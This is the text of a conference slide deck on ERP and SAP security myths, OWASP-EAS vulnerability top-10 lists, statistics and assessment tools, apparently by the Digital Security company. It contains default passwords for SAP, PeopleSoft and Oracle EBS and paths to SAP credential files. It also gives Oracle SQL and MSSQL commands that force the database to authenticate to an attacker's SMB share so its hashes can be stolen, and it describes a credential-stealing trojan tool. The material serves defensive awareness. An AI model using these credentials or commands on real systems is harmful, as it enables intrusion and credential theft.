ERP Security. Myths, Problems, Solutions
Some Notes on SAP Security

Digital Security

Ilya Medvedovskiy
- CEO of the Digital Security company
- Network security research since 1994 (NoVell networks)
- Book bestseller *Attack through the Internet* of 1997 (network security)
- Author of 3 popular books and of more than 50 published works
- Speaker at all Russian security conferences

Alexander Polyakov
- CTO of the Digital Security company
- Head of Digital Security Research Group (http://dsecrg.com)
- OWASP-EAS project leader
- Expert member of PCIDSS.RU (http://pcidssru.com)
- Found a lot of vulnerabilities in SAP, Oracle, IBM... solutions
- Author of the first Russian book about Oracle database security
  *Oracle Security from the Eye of the Auditor. Attack and Defense* (in Russian)
  (http://www.dsec.ru/about/articles/oracle_security_book/)
- Speaker
  at Source, HITB, T2.fi, Troopers10, InfosecurityRussia, PCIDSSRUSSIA2010, Ruscrypto, Chaos Constructions
Digital Security is the leading Russian security consulting company – Russian WhiteHats 😊

Provide all popular security activities as any Europe or US consulting company

Information security consulting

• ISO,PCI,PA-DSS etc. certification/ compliance
• Penetration testing / security assessment
• Security software development
• Information security awareness center
• ERP/SAP security assessment
• Research center
ERP-Enterprise resource planning is an integrated computer-based system used to manage internal and external resources including tangible assets, financial resources, materials, and human resources

Wikipedia

Business applications like ERP, CRM, SRM and others are one of the major topics within the scope of computer security as these applications store business data and any vulnerability in these applications can cause a significant monetary loss or even stoppage of business
Main Problems in ERP Security

- ERP systems have a complex structure (complexity kills security)
- Mostly available inside a company (closed world)
- Contain many different vulnerabilities in all the levels from network to application
- Rarely updated because administrators are scared they can be broken during updates
Myth 1: Business applications are only available internally what means no threat from the Internet

Myth 2: ERP security is a vendor’s problem

Myth 3: Business application internals are very specific and are not known for hackers

Myth 4: ERP security is all about SOD
Myth 1: Business Applications are Only Available Internally

Top management point of view
This myth is popular for internal corporate systems and people think that these systems are only available internally.

Real life
Yes maybe at the mainframe era with SAP R/2 and in some implementations of R/3 you can use SAP only internally but not now in the era of global communications. As a minimum you need the integration with:

- Another offices
- Customers and suppliers
- For SAP systems you need connection with SAP network

! Even if you do not have direct connection there are user workstations connected to the internet
Myth 1: Business Applications are Only Available Internally

It is necessary to bring together people who understand ERP security, and people who understand the Internet, e-mail and security of WEB-services

http://www.csoonline.com/article/216940/the-erp-security-challenge
Myth 1: Business Applications are Only Available Internally

And also, also:

It is easy to attack from the Internet users

- Social engineering + program vulnerabilities
  - Browser vulns
  - Plugin vulns
  - ERP Front-end vulns
- It is easy to attack web users
  - XSS / XSRF / phishing / clickjacking, etc…

Details were presented at HITB AMS 2010
Myth 1: Business Applications are Only Available Internally

SAP Sneak Preview License Key Remark
Several Preview and Evaluation versions of SAP Network (SDN) for evaluation purposes. Before
https://websmtp210.sap-ag.de/sap/bc/bsp/

Mayfairs Portal Login - SAP Web Application
Mayfairs Portal Login. I agree to abide by the
Password *, Log On, Change Password, Forget
Password. ozukutoo.com/sap/bc/bsp/sap/yn

Login - SAP Web Application Server
Logon. Register here. User *, Password *

12.222.153.45
Novell Netware 4.1
Added on 05.07.2010

HTTP/1.0 307 Temporary Redirect
dates Sat, 07 Jul 2010 16:51:17 GMT
servers SAP Web Application Server (CU)
connections close
locations https://uiportal.beider.com/siri/portal
Myth 2. ERP Security is a Vendor’s Problem

From the point of law:

- Vendor is NOT responsible for the vulnerabilities in their products

Business application security is the problem of a Client
Myth 2. ERP Security is a Vendor’s Problem

From technical point

Vendor problems

1. Program Errors
2. Architecture errors

Client problems

1. Implementation architecture errors
2. Defaults / Misconfigurations
3. Human factor
4. Patch management
5. Policies/ processes / etc

There can be so many fails even if the software is secure
Myth 3. Business Application Internals are not Known to Hackers

**Current point of view:**
- Mostly installed inside a company
- Not so popular among hackers like Windows or Apple products
- Closed world
- Security through obscurity
Myth 3. Business Application Internals are not Known to Hackers

BUT!

- Popular products are on the attack by hackers, and becoming more and more secure
- Business applications WERE closed but over the last 5 years they have became more and more popular on the Internet
- And also popular for hackers and researchers (will be shown in the future statistics)
- Unfortunately, their security level is still like 3-5 years ago
- Now they look as a defenseless child in a big city
Myth 4. ERP Security is All about SOD

Current view
Many people especially ERP people think that security is all about SOD

But
- Making AD access control gives you secure infrastructure
- Buying new engine for car every year will not help you if you simply puncture a wheel
- And also remind Sachar Paulus interview that says Other threat comes from people connecting their ERP systems to the Internet

So
ERP system with secure SOD and nothing else it is much of spending all money on video systems, biometric access control and leaving the back door open for housekeepers
Myth 4. ERP Security is All about SOD

If we look deeper it is only one and not the most popular security bug

Top 10 Application Implementation Problems (OWASP-EAS EASAI Top 10)

1. Lack of patch management                    CRITICAL  REMOTE
2. Default passwords for application access    CRITICAL  REMOTE
3. SOD conflicts                               CRITICAL  LOCAL
4. Unnecessary enabled application features    HIGH     REMOTE
5. Open remote management interfaces           HIGH     REMOTE
6. Lack of password lockout/complexity checks  MEDIUM   REMOTE
7. Insecure options                           MEDIUM   REMOTE
8. Unencrypted communications                  HIGH     REMOTE
9. Insecure trust relations                    MEDIUM   LOCAL
10. Guest access                               MEDIUM   REMOTE
Problems
Main problems in ERP security

• ERP systems have a complex structure (complexity kills security)
• Mostly available inside a company (closed world)
• Contain many different vulnerabilities in all the levels from network to application
• Rarely updated because administrators are scared they can be broken during updates
When we trying to secure ERP-system we must do it at all the levels.
Development Problems

SAP
OWN TECHNOLOGIES (ABAP/BSP)
JAVA (jsp/servlets/ejb/j2ee/rmi)
WEB (html/js)
Other (C/wbs/sql)

Oracle
OWN TECHNOLOGIES (BPEL /PLSQL)
JAVA (jsp/servlets/ejb/j2ee/rmi)
WEB (html/js/cgi)
Other (C/wbs/sql)

PeopleSoft
OWN TECHNOLOGIES (Peoplecode/PLSQL)
JAVA (jsp/servlets/ejb/j2ee/rmi)
WEB (html/js/cgi)
Other (C/wbs/sql)

Different
• Languages
• Technologies
• Platforms
Implementation Problems

- Different Architecture
- Different OS
- Different Databases
- Different product versions
- Huge amount of customization
Some Notes on SAP Security

Different Architecture

For example, SAP

- Can have different mandates on different instances on different physical servers
- Can be DEV TEST or PROD
- Can have different modules such as SRM PLM CRM ERP connected to different ways and to itself and other systems
- Has different DMZ/terminal server installations
- And of course we can add IM/LDAP/AD and other solutions to our architecture
- And even more
Different OS

Can be installed on different OS and Platforms, each of them can have different security guidelines for hardening

- **HP-UX**
  

- **SOLARIS**
  

- **LINUX (too many)**

- **Windows**
  
Different Databases

Can use different databases as a backend

- **ORACLE**
  
  

- **DB2**
  
  

- **MSSQL**
  
Different Product Versions and Add-ons

- SAP R/3
- SAP NetWeaver 6.4
- SAP NetWeaver 7.0
- SAP NetWeaver 7.2
- SAP ERP
- SAP ECC
- Also Add-ons
- Also industry solutions
Great Amount of Custom Codes

- Even if you have standard SOD matrix and you check it successfully it is not enough
- Approximately about 40-60% of ERP are custom code
- There can be custom many custom items
  - authorization objects
  - authorizations
  - roles
  - transactions
  - programs
  - etc…

If you have customized the system you must have security solutions customized that is much more harder than checklist-like solutions
Solutions!
How to Make Secure ERP System in 5 Steps

- Develop secure software
- Implement it securely
- Teach administrators
- Increase user awareness
- Control the whole process
Introducing OWASP-EAS

- Enterprise Application Security Project (Alpha status)
- Introduced in 2006 by (had only a roadmap)
- Rebirth in 2010 by Alexander Polyakov
- Contributed by:
  a.polyakov, m.markevich, s.sitsov, d.evdokimov, d.chastuhin
- Page
  http://www.owasp.org/index.php/OWASP_Enterprise_Application_Security_Project
- Purpose
  exists to provide guidance to people involved in the procurement, design, implementation or sign-off of large scale (i.e. 'Enterprise') applications.
Some Notes on SAP Security

Introducing OWASP-EAS

- Develop secure software
  
  Enterprise Business Application Security Vulnerability Testing Guide v0.1

- Implement it securely
  
  Enterprise Business Application Security Implementation Assessment Guide

- Teach administrators

- Increase user awareness
  
  Enterprise Business Application Vulnerability Statistics 2009

ERPSCAN Online services (erpscan.com)

- Control the whole process
  
  ERPSCAN Security Scanner
Some Notes on SAP Security

Enterprise Business Application Security Vulnerability Testing Guide v.0.1

Purpose:

Need some guides for developers and vulnerability testers to assess enterprise applications

Sources:

We have OWASP – good and focused mainly on WEB vulnerabilities
We have WASC – good but focused on WEB
We have SANS 25 – good but not about ERP
We have CWE – good but too big
We have OSTMM – good but focused on assessing systems not software
SAP/Oracle security guides – good but too many information

Result:

OWASP-EAS Enterprise Business Application Security Vulnerability Testing Guide v.0.1
Some Notes on SAP Security

Project steps:

DONE ▪ Analyze most popular vulnerabilities in enterprise systems
DONE ▪ Create TOP 10 list
PROCESS ▪ Collect information about examples, threats and countermeasures
TO DO ▪ Release Guide
TO DO ▪ After a year go back to step 1
Top 10 bugs

- Try to collect all public vulnerabilities in ERP systems and gain experience
- Analyze it to select the most popular ones
- Create cross links to CWE SANS OWASP
- The interesting thing is not only the type of a vulnerability but also the place where this vulnerability can exist
Some Notes on SAP Security

Enterprise Business Application Security Vulnerability Testing Guide v.0.1

Enterprise Application Development Vulnerabilities

Application vulnerabilities

Frontend vulnerabilities

DATA

EASAD Top 10

EASFD Top 10
Some Notes on SAP Security

## Top 10 Application Vulnerabilities

<table>
<thead>
<tr>
<th>Type</th>
<th>Critical</th>
<th>Source</th>
<th>CWE</th>
<th>SANS</th>
<th>OWASP</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 XSS</td>
<td>HIGH</td>
<td>REMOTE</td>
<td>CWE-79</td>
<td>SANS-1</td>
<td>OWASP A2</td>
</tr>
<tr>
<td>2 Improper Access Control</td>
<td>HIGH</td>
<td>REMOTE</td>
<td>CWE-285</td>
<td>SANS-5</td>
<td>OWASP A3</td>
</tr>
<tr>
<td>3 Information disclosure</td>
<td>MEDIUM</td>
<td>REMOTE</td>
<td>CWE-209</td>
<td>SANS-16</td>
<td>OWASP A6</td>
</tr>
<tr>
<td>4 Command/code injection in proprietary language</td>
<td>CRITICAL</td>
<td>LOCAL</td>
<td>N/A</td>
<td>N/A</td>
<td>OWASP A1</td>
</tr>
<tr>
<td>5 SQL Injection</td>
<td>HIGH</td>
<td>REMOTE</td>
<td>CWE-89</td>
<td>SANS-2</td>
<td>OWASP A1</td>
</tr>
<tr>
<td>6 Missing Encryption of Sensitive Data</td>
<td>MEDIUM</td>
<td>REMOTE</td>
<td>CWE-311</td>
<td>SANS-10</td>
<td>OWASP A9</td>
</tr>
<tr>
<td>7 Buffer overflows</td>
<td>CRITICAL</td>
<td>REMOTE</td>
<td>CWE-120</td>
<td>SANS-3</td>
<td>N/A</td>
</tr>
<tr>
<td>8 Path traversal</td>
<td>HIGH</td>
<td>REMOTE</td>
<td>CWE-22</td>
<td>SANS-7</td>
<td>N/A</td>
</tr>
<tr>
<td>9 CSRF</td>
<td>MEDIUM</td>
<td>REMOTE</td>
<td>CWE-352</td>
<td>SANS-4</td>
<td>OWASP A5</td>
</tr>
<tr>
<td>10 Use of a Broken or Risky Cryptographic Algorithm</td>
<td>MEDIUM</td>
<td>REMOTE</td>
<td>CWE-327</td>
<td>SANS-24</td>
<td>OWASP A9</td>
</tr>
</tbody>
</table>
Examples of Network Security

**XSS**

- There is an unlimited number of XSS in SAP

**Information Disclosure**

- ORACLE Financials
  - `/pls/DAD/find_web.ping`
  - `/OA_HTML/jsp/fnd/fndping.jsp`

  *by Joxean Koret – Hackproofing Oracle Financials*

- SAP Netweaver
  - `/sap/info`
Examples of Network Security

Improper access control / traversal (SAP Netweaver)

- RFC functions can be called remotely
- You need a user and a password
- ALMOST ALL SAP administrators do not change the password for user SAPCPIC
- Using his credentials we can call the function that tries to read the file on our SMB share
- Gotcha! Hashes are stolen
# Some Notes on SAP Security

## Top 10 Frontend Vulnerabilities

<table>
<thead>
<tr>
<th>TYPE</th>
<th>Critical</th>
<th>Source</th>
<th>CWE</th>
<th>SANS</th>
</tr>
</thead>
<tbody>
<tr>
<td>Buffer overflows (ActiveX)</td>
<td>High</td>
<td>Remote</td>
<td>CWE-120</td>
<td>SANS-3</td>
</tr>
<tr>
<td>Exposed Dangerous Method or Function (ActiveX)</td>
<td>High</td>
<td>Remote</td>
<td>CWE-749</td>
<td>N/A</td>
</tr>
<tr>
<td>Insecure scripting server access</td>
<td>High</td>
<td>Remote</td>
<td>CWE-306</td>
<td>SANS-19</td>
</tr>
<tr>
<td>File handling Frontend vulnerabilities</td>
<td>High</td>
<td>Remote</td>
<td>CWE-120</td>
<td>SANS-3</td>
</tr>
<tr>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
<td>High</td>
<td>Remote</td>
<td>CWE-327</td>
<td>SANS-24</td>
</tr>
<tr>
<td>Cleartext Storage of Sensitive Information</td>
<td>Critical</td>
<td>Local</td>
<td>CWE-312</td>
<td>SANS-10</td>
</tr>
<tr>
<td>Use of Hard-coded Password</td>
<td>Critical</td>
<td>Local</td>
<td>CWE-259</td>
<td>SANS-11</td>
</tr>
<tr>
<td>Lack of integrity checking for front-end application</td>
<td>Medium</td>
<td>Local</td>
<td>CWE-279</td>
<td>N/A</td>
</tr>
<tr>
<td>Cleartext Transmission of Sensitive Information</td>
<td>High</td>
<td>Local</td>
<td>CWE-319</td>
<td>SANS-10</td>
</tr>
<tr>
<td>Vulnerable remote services</td>
<td>Critical</td>
<td>Remote</td>
<td>CWE-120</td>
<td>SANS-3</td>
</tr>
</tbody>
</table>
Examples of Frontend Vulnerabilities

**Buffer overflow**

- Can be exploited to gain remote access to user
- Also format string and memory corruption
- NEW vulns are being patched now. Soon at [http://dserg.com/](http://dserg.com/)
- Also other vulnerable ERPs
Examples of Frontend Vulnerabilities

**Hard-coded passwords** (some ERPs, we don’t spell names)

- Very dangerous
- Fat client with hard-coded passwords to database
- Checking of access rights is on the client site. They are exploited to gain remote access to user
- Exploited simply by sniffing database connection and direct connection with stolen password
- As a result we are DBA on database
Some Notes on SAP Security

- Build secure application is not enough
- Need to do securely
  - Install it
  - Configure it
  - Manage it
- Meet
  “Enterprise Business Application Security Implementation Assessment Guide”
Some Notes on SAP Security

Enterprise Business Application Security Implementation Assessment v.0.1

Project steps:

- Analyze the most critical areas of misconfigurations
- Group it
- Create TOP 10 list
- Collect information about examples, threats and countermeasures
- Release Guide
- After a year go back to step 1
Enterprise Business Application Security Implementation Assessment

Application vulnerabilities (EASAI Top 10)

Database vulnerabilities (EASDI Top 10)

DATA

Frontend vulnerabilities (EASFI Top 10)

OS vulnerabilities (EASOI Top 10)

Network vulnerabilities (EASN1 Top 10)
### Network and Architecture

<table>
<thead>
<tr>
<th>TYPE</th>
<th>Critical</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 Unnecessary Enabled services</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>2 Missing 3rd party software patches</td>
<td>CRITICAL</td>
<td>REMOTE</td>
</tr>
<tr>
<td>3 Insecure trust relations</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>4 Universal OS passwords</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>5 Missing OS patches</td>
<td>CRITICAL</td>
<td>REMOTE</td>
</tr>
<tr>
<td>6 Lack or misconfigured network access control</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
<tr>
<td>7 Lack or misconfigured monitoring</td>
<td>MEDIUM</td>
<td>LOCAL</td>
</tr>
<tr>
<td>8 Insecure internal access control</td>
<td>HIGH</td>
<td>LOCAL</td>
</tr>
<tr>
<td>9 Unencrypted remote access</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>10 Lack of password lockout/complexity checks</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
</tbody>
</table>
Example of Network Security. RFC

Capture SAP traffic


- Find a user and decode the password. A user has access to XI system without business data
- Use the SM59 transaction that can show all RFC connections. There was only one connection to HR system with hardcoded credentials found
- Credentials were of the remote RFC user created for data exchange
- This user called ALEREMOTE had SAP_ALL privileges

As a result the auditor got access to all data in HR system
## Some Notes on SAP Security

### Operation Systems

<table>
<thead>
<tr>
<th>TYPE</th>
<th>Critical</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unnecessary Enabled services</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Missing 3rd party software patches</td>
<td>CRITICAL</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Insecure trust relations</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Universal OS passwords</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Missing OS patches</td>
<td>CRITICAL</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Lack or misconfigured network access control</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Lack or misconfigured monitoring</td>
<td>MEDIUM</td>
<td>LOCAL</td>
</tr>
<tr>
<td>Insecure internal access control</td>
<td>HIGH</td>
<td>LOCAL</td>
</tr>
<tr>
<td>Unencrypted remote access</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Lack of password lockout/complexity checks</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
</tbody>
</table>
There are many critical files on SAP server that can be used by unprivileged user to gain access to SAP application:

- **Database files (DATA + encrypted Oracle and SAP passwords)**
  - `/oracle/<DBSID>/sapdata/system_1/system.data1`

- **SAP config files (encrypted passwords)**
  - `/usr/sap/<SAPSID>/<Instance ID>/sec/*`
  - `/usr/sap/<SAPSID>/<Instance ID>/sec/sapsys.pse`

- **Configtool Config files (Encrypted Database password)**
  - `/usr\sap\DM0\SYS\global\security\data\SecStope.properties`
  - `/usr\sap\DM0\SYS\global\security\data\SecStope.key`

- **J2EE Trace files (Plaintext passwords)**
  - `/usr/sap/<sapsid>/<InstanceID>/j2ee/cluster/dispatcher/log/defaultTrace.0.trc`

- **ICM config files (encrypted password)**
  - `/usr\sap\DM0\SYS\exe\uc\NTI386\icmauth.txt`
## Database Vulnerabilities

<table>
<thead>
<tr>
<th>TYPE</th>
<th>Critical</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 Default passwords for DB access</td>
<td>CRITICAL</td>
<td>REMOTE</td>
</tr>
<tr>
<td>2 Lack of DB patch management</td>
<td>CRITICAL</td>
<td>REMOTE</td>
</tr>
<tr>
<td>3 unnecessary Enabled DB features</td>
<td>HIGH</td>
<td>LOCAL</td>
</tr>
<tr>
<td>4 lack of password lockout/complexiry checks</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
<tr>
<td>5 Unencrypted sensitive data transport / data</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>6 Lack or misconfigured network access control</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
<tr>
<td>7 Extensive user and group privileges</td>
<td>HIGH</td>
<td>LOCAL</td>
</tr>
<tr>
<td>8 lack or misconfigured audit</td>
<td>MEDIUM</td>
<td>LOCAL</td>
</tr>
<tr>
<td>9 Insecure trust relations</td>
<td>HIGH</td>
<td>LOCAL</td>
</tr>
<tr>
<td>10 Open additional interfaces</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
</tbody>
</table>
Examples of Database Vulnerabilities

Unnecessary enabled services

- Any database have them by default
  - Oracle
    - UTL_FILE, UTL_HTTP, UTL_TCP, etc
  - MSSQL
    - Master..xp_dirtree ‘\fakesmb\sharee’
- Can be used to steal credentials
- ! ERPs run database from the own service credential, not from the ‘Network Service’
Examples of Database Vulnerabilities

Unnecessary enabled services

- Oracle example
- Steal smb’s credentials
- First we must create a special table

```
SQL> CREATE TABLE files (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6));
```

- Insert network path of our SMB share into the table created

```
SQL> INSERT INTO files VALUES (1, ’\172.16.0.235\SHARE’,NULL);
```

- And finally we create the ctxsys.context index on the path column

```
SQL> CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context PARAMETERS (‘datastore ctxsys.file_datastore format column ot_format’);
```

## Application Vulnerabilities

<table>
<thead>
<tr>
<th>TYPE</th>
<th>Critical</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lack of patch management</td>
<td>CRITICAL</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Default Passwords for application access</td>
<td>CRITICAL</td>
<td>REMOTE</td>
</tr>
<tr>
<td>SOD conflicts</td>
<td>CRITICAL</td>
<td>LOCAL</td>
</tr>
<tr>
<td>Unnecessary Enabled Application features</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Open Remote mgmt interfaces</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>lack of password lockout/complexity checks</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Insecure options</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Uncrypted communications</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>Insecure trust relations</td>
<td>MEDIUM</td>
<td>LOCAL</td>
</tr>
<tr>
<td>Guest access</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
</tbody>
</table>
Examples of Application Vulnerabilities

Default passwords

- Any ERP installs with predefined passwords
  - For Application
  - For Database
  - Sometimes for OS
- Most of them are well known
- Will be published at OWASP
Examples of Application Vulnerabilities

SAP default passwords

- FOR Application

<table>
<thead>
<tr>
<th>USER</th>
<th>PASSWORD</th>
<th>CLIENT</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAP*</td>
<td>06071992</td>
<td>000 001 066</td>
</tr>
<tr>
<td>DDIC</td>
<td>19920706</td>
<td>000 001</td>
</tr>
<tr>
<td>TMSADM</td>
<td>PASSWORD</td>
<td>000</td>
</tr>
<tr>
<td>SAPCPIC</td>
<td>ADMIN</td>
<td>000 001</td>
</tr>
<tr>
<td>EARLYWATCH</td>
<td>SUPPORT</td>
<td>066</td>
</tr>
</tbody>
</table>

- FOR Database

  SAPR3/SAP

  + Oracle defaults in the older versions
Examples of Application Vulnerabilities

PeopleSoft default passwords

- FOR Application (many)
  - FEDTBHADMN1/ FEDTBHADMN1
  - FEDTBHADMN1/ FEDTBHMGR01
  - FEDTBHMGR02/ FEDTBHMGR02
  - HAM/HAM
  - etc…

- For Database

  - Peop1e/Peop1e
  - PS/PS
  - Sysadm/sysadm
  - + Oracle defaults in the old versions
Examples of Application Vulnerabilities

Oracle EBS default passwords

- **FOR Application (many)**
  ANONYMOUS, APPMGR, ASGADM, ASGEST, AUTOINSTALL, FEDER
  SYSTEM, GUEST, ADMIN, IBEGUEST, IEXADMIN, SYSADMIN, etc…

- **FOR Database**
  OUTLN, SYSTEM, MDSYS, CTXSYS, AOLDEMO, APPLSYS, APPS, APPLSYS PUB, OLA
  PSYS, SCOTT, PO
Examples of Application Vulnerabilities

Remote management interfaces

- Example of SAP (other have the same problems)
- Do you remember Mariano talk from BlackHat 2007 about insecure RFC?
- There is web RFC also
- Google it /sap/bc/webrfc
- All described features are possible
- Plus something more including dos/smbrelay
- Details later on http://dsecrge.com
- Remote pwnage is possible
## Frontend Vulnerabilities

<table>
<thead>
<tr>
<th>Type</th>
<th>Critical</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 Vulnerable Frontend applications</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>2 Lack of server trust check</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
<tr>
<td>3 Lack of encryption</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>4 Autocomplete browser</td>
<td>MEDIUM</td>
<td>LOCAL</td>
</tr>
<tr>
<td>5 Insecure Browser scripting options</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>6 Insecure configuration</td>
<td>MEDIUM</td>
<td>REMOTE</td>
</tr>
<tr>
<td>7 Insecure software distribution service</td>
<td>HIGH</td>
<td>REMOTE</td>
</tr>
<tr>
<td>8 Lack of AV software</td>
<td>MEDIUM</td>
<td>LOCAL</td>
</tr>
<tr>
<td>9 Password storing in configuration file</td>
<td>CRITICAL</td>
<td>LOCAL</td>
</tr>
<tr>
<td>10 Sensitive information storage</td>
<td>HIGH</td>
<td>LOCAL</td>
</tr>
</tbody>
</table>
Examples of Application Vulnerabilities

Lack of encryption

- Example of SAP (others have the same problems)

<table>
<thead>
<tr>
<th>Soft</th>
<th>Password encryption</th>
<th>Data encryption</th>
<th>Mitigation</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAPGUI</td>
<td>DIAG (compressed and can be decompressed)</td>
<td>DIAG (compressed and can be decompressed)</td>
<td>SNC</td>
</tr>
<tr>
<td>JAVAGUI</td>
<td>DIAG</td>
<td>DIAG</td>
<td>SNC</td>
</tr>
<tr>
<td>WEBGUI</td>
<td>Base64</td>
<td>NO</td>
<td>SSL</td>
</tr>
<tr>
<td>RFC</td>
<td>XOR with known value</td>
<td>DIAG</td>
<td>SNC</td>
</tr>
<tr>
<td>Visual Admin</td>
<td>Proprietary encoding (vulnerable DSECRG-00124)</td>
<td>NO</td>
<td>SSL</td>
</tr>
<tr>
<td>Mobile Admin</td>
<td>NO</td>
<td>NO</td>
<td>SSL</td>
</tr>
</tbody>
</table>
Examples of Application Vulnerabilities

Insecure distribution service

- Example of SAP (others have the same problems)
- SAPGUI often distributes from corporate file server
- Often this share available for any user
- Configuration files and distributives can be overwritten
  - Insert Trojan
  - Redirect to fake servers

The same problems when using terminal services
Increase Awareness
Enterprise Application Vulnerability Statistics 2009

- **Purpose**
  
  "This document we will show a result of statistical research in the Business Application security area made by DSecRG and OWASP-EAS project. The purpose of this document is to raise awareness about Enterprise Business Application security by showing the current number of vulnerabilities found in these applications and how critical it is can be”

- **Analyzed systems**
  
  - ERP Systems
  - Business Frontend software.
  - Database systems
  - Application servers

- **Analyzed resources**
  
  - Securityfocus.com / exploit-db.com
  - Cwe.mitre.org / Cvedetails.com
  - Oracle.com / Sdn.sap.com / ibm.com
More than 150 vulnerabilities per year – ERP security is not a myth
Even if you are fully hardened Application does not forget about Database
Even if you are fully hardened Application does not forget about Appservers
The number will grow in 2010
Some Notes on SAP Security

Vulnerability Statistics Conclusion

- Number of found vulnerabilities grows
  (greetings to all companies in application security area DsecRG, Onapsis, Cybsec, Integrigy)
- Number of talks about ERP security at conferences grows
- And also companies pay more attention to this area (SAP security response team are growing every year)

This area is becoming popular. We really need autoimmunization for ERP security assessment for pentesters and for administrators
Need for Automation

What was done

• Bizsploit (previously sapyto) by Onapsis – a tool for pentesting SAP
• SAFE by Cybsec – a tool for checking SAP servers for certain security issues

What we have done

• Sapsploit and Sapscan – tools for pentesting and trojaning SAP users
• ERPSCAN Online (NEW) – free service for assessing SAP Frontend security
• ERPSCAN Security scanner for SAP (NEW) – enterprise application for solving full area of problems in SAP solutions
Sapsploit/Saptrojan

**Sapsploit** – a *tool for automatic SAP clients exploitation using all kinds of ActiveX vulnerabilities*

- Exploited by sending an e-mail leading to a malicious page with sapsploit
- Modular structure/ Collects all public exploits
- 2 Payloads (exec command or upload saptrojan)

**Saptrojan** – a *tool for gaining additional information from user workstations, connecting to SAP servers and gaining critical information*

- Written on vbs, SAP ActiveX controls used
- Uses different methods for getting credentials (default/ bruteforce/ config files)
- Downloads critical information (bank accounts) and transfers it encrypted to the server

The main purpose is to show the top management the real risks of not only program vulnerabilities but also of cmd shell
Some Notes on SAP Security

ERPSCAN Online

- **Next step. Increase awareness without spreading dangerous tools publicly**
- **The first idea** is to check for existing vulnerabilities without exploiting them.
- **The second idea** is to make it easy for the use of end users and make it available to as many people as possible.
- **The third idea** – statistical information may be used to increase the awareness (like SSL project).

**The result – ERPSCAN Online for SAP Frontend**

- Easy for use online service to check vulnerabilities, misconfigurations and user awareness level.
- No need to install any agent/add-on.
- Database with all known vulnerabilities in SAP Frontend.
- Check existence and version information about all components and versions:
  - SAPGUI CORE, ECL VIEWER, KW Add-on, BW Add-on, BI Add-on.
Some Notes on SAP Security

ERPSCAN Online Soon at http://erpscans.com  ~ 1 week
ERPSCAN – Security Scanner for SAP

- Corporate scanner for assessing **security of SAP systems**
- Checking for **misconfigurations, public vulnerabilities, 0-days, compliance with standards and metrics**
- Checking both **ABAP and JAVA instances, more than 400 checks**
- **Whitebox scanning** to prevent possible damage
- Additional engine for **checking existing vulnerabilities** without exploiting them
- **Extended knowledge database** for all checks with detailed descriptions and countermeasures collected by DSecRG experts
- Will be soon available at [ERPSCAN.COM](http://ERPSCAN.COM)
Some Notes on SAP Security

ERPSCAN – Security Scanner for SAP

<table>
<thead>
<tr>
<th>Description</th>
<th>Solution</th>
<th>Additional</th>
</tr>
</thead>
<tbody>
<tr>
<td>Users with default passwords</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ID: SSCA_00005</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Critically:</strong> High</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Description:</strong> This test shows users that have default passwords.</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Threat:</strong> Default passwords are well known to attackers. Using them, attackers can gain access to systems with privileged SAP_ALL access and get unlimited access to business data and processes.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>View solution</td>
<td></td>
<td>View additional information</td>
</tr>
</tbody>
</table>

---

<table>
<thead>
<tr>
<th>Checks for users</th>
<th>Result</th>
<th>Criticality</th>
</tr>
</thead>
<tbody>
<tr>
<td>Users that was not looked after 90 days without activity</td>
<td>10</td>
<td>Medium</td>
</tr>
<tr>
<td>Users which was never logged on</td>
<td>12</td>
<td>Medium</td>
</tr>
<tr>
<td>Users which has never changed passwords</td>
<td>100</td>
<td>High</td>
</tr>
<tr>
<td>Users that was locked by unsucceeded full logon attempts</td>
<td>0</td>
<td>Medium</td>
</tr>
<tr>
<td>Groups with password login even if it is disabled</td>
<td>1</td>
<td>High</td>
</tr>
<tr>
